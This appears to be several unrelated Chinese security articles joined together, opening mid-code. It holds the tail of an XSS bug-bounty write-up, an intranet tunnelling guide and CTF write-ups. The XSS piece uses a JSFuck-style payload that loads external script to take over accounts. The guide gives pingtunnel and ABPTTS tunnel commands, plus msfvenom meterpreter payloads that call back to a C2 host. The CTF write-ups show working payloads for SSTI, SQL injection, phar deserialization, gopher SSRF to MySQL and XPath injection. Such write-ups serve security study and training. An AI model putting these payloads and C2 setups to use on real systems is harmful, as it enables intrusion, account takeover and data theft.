'Array': '[]',
'Number': '(+0)',
'String': '([]+[])',
'Boolean': '(!0)',
'Function': '[]["fill"]',
'RegExp': 'Function("return/"+0+"/")()'
};
const MAPPING = {
'a': '(false+"")[1]',
'b': '([]["entries"]()+"")[2]',
'c': '([]["fill"]+"")[3]',
'd': '(undefined+"")[2]',
'e': '(true+"")[3]',
'f': '(false+"")[0]',
'g': '(false+[0]+String)[20]',
'h': '(+(101))["to"+String["name"]](21)[1]',
'i': '([false]+undefined)[10]',
'j': '([]["entries"]()+"")[3]',
'k': '(+(20))["to"+String["name"]](21)',
'l': '(false+"")[2]',
'm': '(Number+"")[11]',
'n': '(undefined+"")[1]',
'o': '(true+[]["fill"])[10]',
'p': '(+(211))["to"+String["name"]](31)[1]',`
然后，在Chrome中执行部分代码：
一般来说，我们可以直接用不同类型的变量来“包装”这些字符串，所以我们可以使用小写字符来存储类似false、true、undefined、NaN和Infinity之类的关键字字符串。
接下来，我想要避免使用小写字符：
`Á=![]; //false
É=!![]; //true
Í=[][[]]; //undefined
Ó=+[![]]; //NaN
SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity
ST=([]+[]); //
Ü=(+[]);
A=(Á+"")[1];
D=(Í+"")[2];
E=(É+"")[3];
F=(Á+"")[0];
G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];
I=([Á]+Í)[10];
L=(Á+"")[2];
T=(É+"")[0];
O=(É+[][F+I+L+L])[10];
R=(É+"")[1];
N=(Í+"")[1];
M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];
P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];
S=(Á+"")[3];
U=(Í+"")[0];
V=(+(31))[T+O+"S"+T+R+I+N+G](32);
X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];
Y=(Ó+[SI])[10];
Z=(+(35))[T+O+"S"+T+R+I+N+G](36);
C=([][F+I+L+L]+"")[3];
H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];
K=(+(20))[T+O+"S"+T+R+I+N+G](21);
W=(+(32))[T+O+"S"+T+R+I+N+G](33);
J=([][E+N+T+R+I+E+S]()+"")[3];
B=([][E+N+T+R+I+E+S]()+"")[2];`
当然了，我还需要使用到“.”和“/”，这里我可以利用浮点值1.1e+101来得到“.”：
非常好，我们要的“.”已经有了，现在还差“/”和“g”，考虑到大写字母过滤器的存在，我打算使用JsFuck，因此不得不牺牲1200个字符，不过这个Payload目前也只有500-800个字符，离最终的上限还有一段距离。
既然我们已经得到了所有需要的字符，那么接下来就是执行我们的Payload了：
`[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();`
上述这段JsFuck代码会被翻译成“fill.constructor(alert(1))”，并且让我们的JavaScript文件全部以大写字母的形式执行，非常好！
我祈祷我们的目标站点使用的是JQuery，并且在页面HTML代码的结尾进行加载，那么在注入完成之后，并且等待三秒钟加载所有的依赖组件，最终执行$.getScript来加载我们的外部JS文件。
`[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){
$"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();`
等待了三秒钟之后，我们成功拿到了test/test请求！！接下来，使用URL编码对Payload进行编码处理，最终的Payload如下所示：
`%3B%C3%81=%3B(%22`
我们成功地在目标站点中加载了外部JS文件，并且我们的外部JS文件可以修改目标账号的用户密码！
## 总结
该漏洞可以允许攻击者实现账户接管，并将低危的XSS漏洞提升为高危漏洞，而该漏洞也拿到了1000美金的漏洞奖励。 | 社区文章 |
# 内网渗透之内网穿透
## 0x0 前言
网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理开始探讨，根据不同的内网出网入网情况，灵活设计对应的内网穿透方案。
## 0x1 内网穿透原理
**内网穿透是:利用各种隧道技术，以网络防火墙允许的协议，绕过网络防火墙的封锁，实现访问被封锁的目标网络。**
什么是隧道技术呢？我们看一下百科词条的解释
>
> 隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息，从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点，数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。
我们进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被网络防火墙放行的协议。
这些隧道技术可以按所处的协议层分层。
* 网络层隧道
> ICMP隧道等
* 传输层隧道
> TCP隧道、UDP隧道
* 应用层隧道
> HTTP、DNS、SSH等隧道
**内网主机所有可能的出网方式**
* 允许ICMP协议出网
> 网络防火墙允许ICMP协议出网，即能ping通外网主机，一般都能出网
* 允许特定的TCP或UDP协议端口出网
>
> 网络防火墙允许特定的TCP或者UDP端口出网，比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。在一个不能出网的网络环境里面，将所有的TCP和UPD端口都探测一遍，通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致。比如配置的防火墙规则前后矛盾，解析的时候遇到匹配规则就退出执行；比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒，可能会直接放行web服务器到任意ip地址的3306端口
* 允许特定的应用层协议出网（比如HTTP、SSH、DNS等应用层协议）
>
> 这种网络防火墙能识别应用层的协议，放行允许出网的协议，比如HTTP、SSH、DNS、RDP等应用层协议;通常办公网是允许HTTP协议出网的，可能会域名白名单限制
> **内网主机所有可能的入网方式**
* 允许ICMP协议入网
> 能ping通目标主机
* 允许特定的TCP或UDP协议端口入网
> NAT端口映射公网IP端口到内网主机的服务端口，比如将web服务、mysql服务NAT映射到公网
* 允许特定的应用层协议入网
>
> 这种网络防火墙能识别应用层的协议，放行允许入网的协议。比如HTTP反向代理，将公网收到的HTTP流量反向代理进内网主机。当前主流的入网方式，通常会加层WAF审查入网流量
>
> ## 0x2 内网穿透常用工具
>
> ### 0x2.1 网络层隧道工具
* [icmpsh](https://github.com/inquisb/icmpsh)
> 能通过ICMP协议反弹cmd，功能单一，反弹回来的cmd极不稳定，不推荐使用
* [icmptunnel](https://github.com/DhavalKapil/icmptunnel)
> 创建虚拟网卡通过ICMP协议传输网卡流量，基于ICMP隧道的vpn，需要root权限，动静极大，不推荐使用
* [pingtunnel](https://github.com/esrrhs/pingtunnel)
> tcp、udp、socks5 over ICMP，速度快，连接稳定，跨平台，client模式不需要管理员权限即可正常使用，推荐使用
### 0x2.2 传输层隧道工具
* [netcat](https://eternallybored.org/misc/netcat/)
> 网络工具中的瑞士军刀，不多介绍，linux系统一般自带
* [powercat](https://github.com/besimorhino/powercat)
> powershell版的netcat
* [socat](https://github.com/craSH/socat)
> 具有记录转发流的功能，方便查看转发内容，需要安装
* netsh
> windows系统自带的网络配置工具
* [lcx](https://github.com/windworst/LCX)
> 端口转发工具
* [NATBypass](https://github.com/cw1997/NATBypass)
> 一款lcx在golang下的实现,更好的跨平台，更完善的文档
* [iox](https://github.com/EddieIvan01/iox)
> 端口转发 &
> 内网代理工具，功能类似于lcx/ew，简化了命令行参数，支持UDP流量转发，更好的跨平台。缺点：不支持监听指定IP，默认监听0.0.0.0:port，会增大暴露风险
### 0x2.3 应用层隧道工具
由于应用层协议极多，对应的隧道工具也很多，我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等
* [dnscat2](https://github.com/iagox86/dnscat2)
> 不仅可以创建DNS隧道，更是C2
* [dnscat2-powershell](https://github.com/lukebaggett/dnscat2-powershell)
> dnscat2的powershell客户端
* [dns2tcp](https://github.com/alex-sector/dns2tcp)
> TCP over DNS,即通过DNS隧道转发TCP连接
* [iodine](https://github.com/yarrick/iodine)
> IPv4 over DNS，即通过DNS隧道转发IPv4数据包
* [reGeorg](https://github.com/sensepost/reGeorg)
> SOCKS over HTTP,即通过HTTP隧道转发SOCKS
* [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
> 重构版reGeorg，提高稳定性和可用性，避免特征检测，更新活跃
* [reDuh](https://github.com/sensepost/reDuh)
> TCP over HTTP,即通过HTTP隧道转发TCP连接，隧道不稳定
* [Tunna](https://github.com/SECFORCE/Tunna)
> TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS，隧道不稳定
* [ABPTTS](https://github.com/nccgroup/ABPTTS)
> TCP over
> HTTP,即通过HTTP隧道转发TCP连接,数据加密，可自定义HTTP数据，对抗特征检测十分优秀，创建的隧道十分稳定，比较遗憾的是支持的web脚本类型只有aspx和jsp
* [EarthWorm](http://rootkiter.com/EarthWorm/)
> 十分方便的多级SOCKS代理，已经永久停止更新
* [Termite](http://rootkiter.com/Termite/)
> EarthWorm的升级版，已经永久停止更新
* [Venom](https://github.com/Dliv3/Venom/)
> Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。
* [ssocks](https://github.com/54Pany/sSocks)
> 正向和反向的socks工具，可执行文件的大小很小
* [s5.go](https://github.com/ring04h/s5.go)
> go语言编写的socks服务工具，良好的跨平台特性
* ssh
本地转发：
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 [email protected]
#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由服务端转发到114.114.114.114:9999
远程转发：
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 [email protected]
#ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端，再由ssh客户端转发到114.114.114.114:9999
动态转发：
ssh -CNfg -D 127.0.0.1:7777 [email protected]
# ssh客户端监听127.0.0.1:7777开启socks服务，将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由ssh服务端转发到目标地址
构建ssh隧道的常用参数:
-C 压缩传输，提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发，即SOCKS代理
-p 指定ssh连接端口
## 0x3 实战中的内网穿透案例
### 0x3.1 上线零出网的内网主机
**实战背景：**
获取了webshell的主机位于内网，并且该内网主机icmp等网络层协议不能出网，tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，唯一的数据通道是反向代理入网的web应用。
#### 方案设计
利用反向代理入网的web应用所在的HTTP连接，构建正向的`TCP over
HTTP`隧道。通过这条隧道，我们可以向内网主机发起tcp连接。生成bind类型的payload，通过webshell上传执行就会监听一个端口，我们的远控平台通过构建的`TCP
over HTTP`隧道，去连接监听的端口即可上线。
能构建`TCP over
HTTP`的隧道的工具有`ABPTTS、Tunna、reDuh`等，由于`Tunna、reDuh`构建的tcp连接不稳定，这里选用`ABPTTS`。
#### 0x3.1.1 上线metasploit
1.通过正向的http隧道构建tcp连接
# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端脚本
python abpttsfactory.py -o server
# 上传server端脚本到web服务器，客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客户端监听127.0.0.1:7777，通过http://192.168.168.10/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
2.生成bind类型的payload，通过webshell上传执行
# 这里的rhost和lport是转发的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
3.启动msf监听，等待meterpreter执行上线
#这里的rhost和lport是abptts客户端监听的IP和端口，msf所在主机必须能访问到这个IP和端口，这里msf和abptts在同一个主机上
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started bind TCP handler against 127.0.0.1:7777
[*] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400
meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin
#### 0x3.1.2 上线cobaltstrike
**由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon
SMB，并且都必须连接到父beacon，无法直接连接cobalstrike服务端，所以我们需要一个父beacon来中转连接。**
1.通过正向的http隧道构建tcp连接
# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端脚本
python abpttsfactory.py -o server
# 上传server端脚本到web服务器，客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客户端监听127.0.0.1:7777，通过http://192.168.168.121/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
2.创建反向的listener
3.生成父beacon
4.上传父beacon到abptts客户端执行上线
5.创建payload为tcp beacon的listener
6.生成stageless的子beacon
7.将生成的子beacon通过webshell上传执行
# 可以通过webshell查看网络监听，确保子beacon执行成功
netstat -ano | findstr 127.0.0.1:8888
8.在父beacon中连接abptts的监听ip和端口
9.成功上线不能出网的webshell内网主机
### 0x3.2 上线仅icmp协议出网的内网主机
**实战背景：**
通过某种信道获取了内网主机的shell，但是当前信道不适合做远控的通信信道（比如站库分离的网站，我们通过sql注入获取了数据库服务器的shell，但是数据库服务器只有icmp协议可以出网），tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，只有icmp协议可以出网。
#### 方案设计
icmp协议可以出网，可以利用icmp协议，构建反向的`TCP over ICMP`隧道或者`SOCKS over
ICMP`隧道上线远控平台。搭建隧道的工具使用pingtunnel，它能通过icmp隧道转发tcp、udp、socks5连接。
#### 0x3.2.1 icmp隧道转发tcp上线metasploit
1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
3.生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口
4.启动msf监听，等待meterpreter执行上线
# 这里的lhost和lport为icmp客户端转发到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:7777
meterpreter > getuid
Server username: DESKTOP-test0\admin
#### 0x3.2.2 icmp隧道转发socks上线metasploit
1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址
3.生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
4.启动msf监听，等待meterpreter执行上线
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 8443
lport => 8443
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
meterpreter > getuid
Server username: DESKTOP-test0\admin
#### 0x3.2.3 icmp隧道转发tcp上线cobaltstrike
1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
3.cobaltstrike创建listener
# https host和https port(c2)为icmp隧道客户端的监听ip和端口
# https port(bind)为转发目的地址的端口
4.生成反向payload的beacon
5.上传生成的beacon到ICMP隧道客户端执行，成功通过反向ICMP隧道上线
#### 0x3.2.4 icmp隧道转发socks上线cobaltstrike
1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址
3.cobaltstrike创建listener
# 这里的代理可以是socks或者http
# 好像cobaltstrike不支持socks5代理，这里并不能成功上线
# 这里也可以使用http代理，不过需要工具将http代理转为socks5代理，比如privoxy
4.选择创建的listener生成beacon上传到目标执行即可上线
## 0x4 总结
**内网渗透中内网穿透的本质，无非是通过各种通信信道，无论是正向的还是反向的，实现传输层协议tcp/udp数据包的转发，应用层协议都是基于传输层的协议实现的。**
比如`ABPTTS + SOCKS服务 = reGeorg`
**内网渗透中的内网穿透的条件，能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行，一定可以通过这种通信信道实现tcp/udp数据包的转发，即`TCP/UDP
over
something`隧道。如果没有现成的工具，可能需要我们自己开发。**比如，通过sql注入获取了shell，我们也可以利用这条通信信道转发tcp/udp数据包，没有现成的工具，需要我们开发工具而已，隧道客户端将tcp/udp数据包封装写进数据库，再由隧道服务端从数据库中读出封装的数据包解包，发往对应地址即可 | 社区文章 |
# 2018护网杯-web部分题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前记
护网杯刚结束，记录一下做出的3道web（1道赛后解出），很遗憾有一道java没能解出。
## easy tornado
进入题目
http://49.4.78.81:30980/
发现有3个选项
http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a
Orz.txt
render()
http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1
hint.txt
md5(cookie_secret + md5(filename))
http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72
flag.txt
/fllllllllllag
发现意思很明确，有签名，读文件
那么现在要做的就是leak cookie_secret
发现
http://49.4.78.81:30980/error?msg={{1^0}}
可以进行模板注入，但过滤了非常多的符号，应该只能读个变量
阅读tornado源码
https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py
发现`handler.settings`存放了cookie_secret
读取
http://49.4.78.81:30980/error?msg={{handler.settings}}
得到
Whoops, looks like somethings went wrong .
{'login_url': '/login', 'template_path': 'templates', 'xsrf_cookies': True, 'cookie_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_<W%L3-T~AuQlBbqr6}ig', 'debug': False, 'file_path': '/www/static/files', 'static_path': 'static'}
随机构造签名读flag
http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960
得到
/fllllllllllag
flag{67a3d3dec827645c1c92d1f2160c744f}
## ltshop
本能的条件竞争，换大辣条，50个线程，跑完发现自己有7个大辣条了，看来竞争略有成效
下面是辣条之王的艺术，考虑到是go语言，uint64可能存在溢出
http://www.it1352.com/808569.html
于是思考到，这里我们的兑换量应该*5，于是简单计算了一下
然后我们这里兑换3689348814741910324即可溢出
## easy_laravel
### 源码发现
这是本次的重量级题目：首先在f12源代码里发现
<!-- code: https://github.com/qqqqqqvq/easy_laravel -->
### sql注入
于是下载源码，看一下控制器，不难发现有注入点
easy_laravel/app/Http/Controllers/NoteController.php
于是尝试
admin' or 1#
发现可以读到note，于是尝试union select
然后遇到了第一个坑点，我们在代码里可以看到
于是我认为应该只有4列，然后一直就是wrong,wrong,wrong
很头疼的尝试了order by，发现是5列
注册：`admin' order by 5#`
注册：`admin' order by 6#`
然后尝试union select
根据给出的表，我再信他一回：）
admin' union select 1,(select password from users limit 0,1),3,4,5#
到这里为止，发现密码无法破解
那么如何登入管理员呢？
### 密码重置
这里还有一个表
我们发现还能重置密码，而且只需要email和token！
那我们去拿管理员的token
admin' union select 1,(select token from password_resets limit 1,1),3,4,5#
然后去重置管理员密码即可
然后使用路径
http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616
然后改密码即可登入管理员
到此为止，我们离flag又近了一步
### 登入后台
发现有4个功能：upload,files,flag,note
这里flag点进去发现是`no flag`
加上题目的提示：
可以发现是blade过期的问题，这里简单搜索
https://www.jianshu.com/p/7d65f9eb94be
发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP
代码，事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变，这意味着 Blade
并没有给你的应用添加编译的负担。
所以我们这的思路很清晰：
1.因为旧的缓存存在，导致我们看不到flag
2.我们可以利用pop chain删掉缓存文件
3.读到flag
那么缓存文件在哪里呢？我们查看源码发现
那cachepath又是哪里呢？想到最开始的提示
nginx是坠吼的 ( 好麻烦，默认配置也是坠吼的
那么很容易得知web目录
/usr/share/nginx/html
然后再去发掘blade缓存位置
https://www.jianshu.com/p/018c83d6b38c
发现是
/storage/framework/views
再结合sha1，得到最后的路径
/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
### 反序列化删除发掘
那么去哪里找删除函数呢？
这里发现`composer.json`中提供了大量组件，我们安装一下，然后全局搜索，容易发现有`unlink()`
````
### phar神来之笔
那最后怎么触发序列化呢？这里用到了我们BlackHat会议演讲的phar://方法
参考这篇文章
https://xz.aliyun.com/t/2715
我们发现在check这里
是会使用file_exists的，并且path和filename可控！
于是我们尝试构造
<?php
include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace('//private/var/folders/dm/r80s8lp52bz1rcdhp5h9zlrw0000gn/T/FileByteStream[w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:77', 's:90', $a);
$b = unserialize($a);
$p = new Phar('./skyfuck.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif')
?>
然后上传后触发
最后即可看到flag
## 后记
这次护网杯的题目还是很nice的，感谢4uuu Nya大佬的nice题目，和赛后帮助我理解Laravel的bendawang师傅，给跪了~ | 社区文章 |
## IZ
题目链接：`http://35.185.178.212/`
题目直接给出了源码
<?php
include "config.php";
$number1 = rand(1,100000000000000);
$number2 = rand(1,100000000000);
$number3 = rand(1,100000000);
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
if (preg_match("/_/i", $url))
{
die("...");
}
if (preg_match("/0/i", $url))
{
die("...");
}
if (preg_match("/\w+/i", $url))
{
die("...");
}
if(isset($_GET['_']) && !empty($_GET['_']))
{
$control = $_GET['_'];
if(!in_array($control, array(0,$number1)))
{
die("fail1");
}
if(!in_array($control, array(0,$number2)))
{
die("fail2");
}
if(!in_array($control, array(0,$number3)))
{
die("fail3");
}
echo $flag;
}
show_source(__FILE__);
?>
看到
$url = urldecode($_SERVER['REQUEST_URI']);
$url = parse_url($url, PHP_URL_QUERY);
不难想到///的trick
同时，我知道in_array()，在没有设置松紧比较的时候，是默认存在弱比较的
于是随手构造弱比较，请求
http://35.185.178.212///?_=0a
即可得到flag
ISITDTU{php_bad_language}
## Friss
题目链接：<http://35.190.142.60/>
打开题目是个curl的界面，本能的想到是SSRF的题目
右键打开源代码发现
<!-- index.php?debug=1-->
于是请求访问
http://35.190.142.60/?debug=1
得到页面源码
<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
$url = $_POST['url'];
$content_url = getUrlContent($url);
}
else
{
$content_url = "";
}
if(isset($_GET['debug']))
{
show_source(__FILE__);
}
?>
<?php
echo $content_url;
?>
那么第一件事肯定是选择读源码了，我们随手尝试
file:///etc/passwd
发现回显
于是发现必须得有localhost的host
于是改变请求方式为
file://loaclhost/etc/passwd
这次有了一些回显
再尝试
file://localhost/var/www/html/config.php
发现成功得到源码
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;
$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);
function initdb($conn)
{
$dbinit = "create table if not exists flag(secret varchar(100));";
if(mysqli_query($conn,$dbinit)) return 1;
else return 0;
}
function safe($url)
{
$tmpurl = parse_url($url, PHP_URL_HOST);
if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
{
var_dump($tmpurl);
die("<h1>Only access to localhost</h1>");
}
return $url;
}
function getUrlContent($url){
$url = safe($url);
$url = escapeshellarg($url);
$pl = "curl ".$url;
echo $pl;
$content = shell_exec($pl);
return $content;
}
initdb($conn);
?>
不难看得出有Mysql的存在，加上简单的curl
我的本能反应是，存在gopher打mysql，因为这个思路我遇到过多次
所以我的第一反应是测试
gopher://localhost:3306
大概就是我这个思路了吧
于是使用payload生成脚本：
命令如下
python exploit.py -u ssrf_user -d 'ssrf' -P 'SELECT * FROM ssrf.flag' -v
payload
gopher://127.0.0.1:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28SELECT%20%2A%20FROM%20ssrf.flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00
发送请求后发现
很轻松获得flag
## Access Box
题目链接：<http://35.190.131.105/>
打开题目只有登录页面
于是打开源代码得到
guest/guest
登入后发现
没有其他功能了
说明很简单的思路，以admin的身份登入即可
那么只有登录界面，很容易想到的就是sql注入
于是开始测试
可以看到，用户名和密码的错误是分开回显的，这就舒服的许多
简单测试后，发现的确存在注入
于是构造
guest'and 1 or'
guest'and 0 or'
发现成功返回不一致
构造bool注入，但发现怎么尝试都无果，非常郁闷
但是发现一个奇怪现象
有时候会出现???，这很迷
经过一番折腾好，于是思考到会不会是xpath注入
https://www.cnblogs.com/bmjoker/p/8861927.html
尝试提取父节点的名字：
'or substring(name(parent::*[position()=1]),1,1)='a
简单用burp爆破了一下
发现
'or substring(name(parent::*[position()=1]),1,1)='u
回显是???
那么我猜测，只要是匹配通过后，反馈就是???
于是我为了证明这不是巧合，继续探测
import requests
import string
url = "http://35.190.131.105/"
payload = ''''or substring(name(parent::*[position()=1]),%s,1)='%s'''
res = ""
for i in range(1,1000):
for j in string.printable:
data = {
"username":payload%(i,j),
"password":"1"
}
r = requests.post(url=url,data=data)
if "Invalid" not in r.content[1470:1490]:
res+=j
print res
break
发现成功得到父节点名字:`user`
那么继续探测子节点
'or substring(//user[1]/*[2],1,1)='u' or 'a'='a
探测子节点的值：
'or substring(//user[1]/*[2]/text(),1,1)='a' or'a'='a
最后即可拿到
Adm1n
Ez_t0_gu3ss_PaSSw0rd
